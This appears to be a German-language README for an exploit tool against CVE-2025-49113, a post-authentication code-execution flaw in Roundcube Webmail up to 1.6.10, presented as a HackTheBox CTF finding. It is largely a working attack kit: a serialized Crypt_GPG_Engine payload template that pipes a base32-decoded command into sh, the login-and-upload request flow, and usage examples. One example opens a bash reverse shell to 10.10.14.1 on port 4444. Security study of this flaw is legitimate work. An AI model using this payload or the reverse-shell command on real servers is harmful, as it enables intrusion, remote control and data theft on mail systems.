
CVE-2025-49113 – Roundcube ≤1.6.10 Post-Auth-RCE über PHP-Objektdeserialisierung (HackTheBox CTF)
| Feld | Details |
|---|---|
| CVE | CVE-2025-49113 |
| Software | Roundcube Webmail |
| Betroffene Versionen | ≤ 1.6.10 |
| Schwachstelle | PHP-Objektdeserialisierung → RCE |
| Authentifizierung | Erforderlich (jeder gültige Benutzer) |
| Auswirkung | Remote Code Execution auf dem Server |
| Kontext | Entdeckt während eines HackTheBox-CTF |
Roundcube Webmail bis einschließlich Version 1.6.10 ist anfällig für Remote Code Execution nach der Authentifizierung. Der Datei-Upload-Handler deserialisiert ein PHP-Objekt, das im Dateinamen einer hochgeladenen Anlage eingebettet ist. Durch Erstellen eines bösartigen Dateinamens, der ein serialisiertes Crypt_GPG_Engine-Objekt enthält, kann ein authentifizierter Angreifer die Ausführung beliebiger Befehle auf dem zugrunde liegenden Server auslösen, sobald der Dateiname verarbeitet wird.
PHP-Objektdeserialisierung (CWE-502). Der Datei-Upload-Endpunkt von Roundcube leitet den vom Client gelieferten Dateinamen ohne Validierung durch einen Deserialisierungspfad. Die Klasse Crypt_GPG_Engine ist in Roundcubes Abhängigkeitskette verfügbar und dient als nutzbare Gadget-Kette.
Die Klasse Crypt_GPG_Engine enthält eine Eigenschaft _gpgconf, die während der Zerstörung/Initialisierung des Objekts an einen Systemaufruf übergeben wird. Indem der Angreifer eine Instanz mit einem manipulierten _gpgconf-Wert serialisiert, erzwingt er die Ausführung von Befehlen.
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
Der Befehl ist Base32-kodiert, um Probleme mit Sonderzeichen im Dateinamenfeld zu vermeiden.
Attacker (authenticated)
│
▼
GET /?_task=login → Fetch CSRF token + session cookie
│
▼
POST /?_task=login → Authenticate with valid credentials
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
│
▼
Server deserializes filename → Crypt_GPG_Engine instantiated
│
▼
_gpgconf executed → OS command runs as webserver user
Der Befehl ist Base32-kodiert, um Zeichen zu vermeiden, die das Multipart-Dateinamenfeld (Anführungszeichen, Schrägstriche usw.) beschädigen würden. Der letztendlich auf dem Server ausgeführte Befehl lautet:
echo "<B32_CMD>" | base32 -d | sh
python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
| Flag | Beschreibung |
|---|---|
-u | Roundcube-Benutzername |
-p | Roundcube-Passwort |
-i | Ziel-URL (z. B. http://mail.target.htb) |
-x | Auf dem Server auszuführender Befehl |
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
Keine externen Bibliotheken erforderlich — es wird nur die Python-Standardbibliothek verwendet (http.client, urllib, base64 usw.).
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.